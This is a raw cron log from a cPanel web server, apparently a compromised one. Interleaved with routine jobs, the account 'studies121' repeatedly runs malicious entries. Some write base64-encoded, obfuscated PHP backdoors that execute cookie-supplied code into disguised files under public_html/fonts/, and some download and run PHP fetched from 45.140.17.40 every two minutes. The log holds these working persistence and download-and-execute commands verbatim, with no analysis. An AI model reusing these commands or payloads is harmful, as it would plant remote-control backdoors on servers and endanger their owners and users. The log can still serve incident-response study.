Aug 31 23:21:01 ip-184-168-122-23 CROND[11191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:22:01 ip-184-168-122-23 CROND[11356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:22:01 ip-184-168-122-23 CROND[11359]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:22:01 ip-184-168-122-23 CROND[11358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:22:01 ip-184-168-122-23 CROND[11360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:22:01 ip-184-168-122-23 CROND[11362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:23:01 ip-184-168-122-23 CROND[11446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:23:01 ip-184-168-122-23 CROND[11449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:23:01 ip-184-168-122-23 CROND[11448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:23:01 ip-184-168-122-23 CROND[11451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:24:01 ip-184-168-122-23 CROND[11541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:24:01 ip-184-168-122-23 CROND[11540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:24:01 ip-184-168-122-23 CROND[11543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:24:01 ip-184-168-122-23 CROND[11544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:24:01 ip-184-168-122-23 CROND[11542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:25:01 ip-184-168-122-23 CROND[11636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:25:01 ip-184-168-122-23 CROND[11638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:25:01 ip-184-168-122-23 CROND[11640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:25:01 ip-184-168-122-23 CROND[11639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:25:01 ip-184-168-122-23 CROND[11641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:25:01 ip-184-168-122-23 CROND[11643]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:26:01 ip-184-168-122-23 CROND[11726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:26:01 ip-184-168-122-23 CROND[11728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:26:01 ip-184-168-122-23 CROND[11729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:26:01 ip-184-168-122-23 CROND[11731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:26:01 ip-184-168-122-23 CROND[11730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:27:01 ip-184-168-122-23 CROND[11909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:27:01 ip-184-168-122-23 CROND[11911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:27:01 ip-184-168-122-23 CROND[11914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:27:01 ip-184-168-122-23 CROND[11913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:28:01 ip-184-168-122-23 CROND[12016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:28:01 ip-184-168-122-23 CROND[12021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:28:01 ip-184-168-122-23 CROND[12018]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:28:01 ip-184-168-122-23 CROND[12019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:28:01 ip-184-168-122-23 CROND[12020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:29:01 ip-184-168-122-23 CROND[12117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:29:01 ip-184-168-122-23 CROND[12119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:29:01 ip-184-168-122-23 CROND[12116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:29:01 ip-184-168-122-23 CROND[12118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:30:02 ip-184-168-122-23 CROND[12206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:30:02 ip-184-168-122-23 CROND[12207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:30:02 ip-184-168-122-23 CROND[12205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:30:02 ip-184-168-122-23 CROND[12212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:30:02 ip-184-168-122-23 CROND[12211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:30:02 ip-184-168-122-23 CROND[12213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:30:02 ip-184-168-122-23 CROND[12217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:30:02 ip-184-168-122-23 CROND[12216]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 23:31:01 ip-184-168-122-23 CROND[12311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:31:01 ip-184-168-122-23 CROND[12314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:31:01 ip-184-168-122-23 CROND[12313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:31:01 ip-184-168-122-23 CROND[12316]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 23:31:01 ip-184-168-122-23 CROND[12315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:32:01 ip-184-168-122-23 CROND[12503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:32:01 ip-184-168-122-23 CROND[12506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:32:01 ip-184-168-122-23 CROND[12505]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:32:01 ip-184-168-122-23 CROND[12507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:32:01 ip-184-168-122-23 CROND[12508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:33:01 ip-184-168-122-23 CROND[12621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:33:01 ip-184-168-122-23 CROND[12622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:33:01 ip-184-168-122-23 CROND[12625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:33:01 ip-184-168-122-23 CROND[12627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
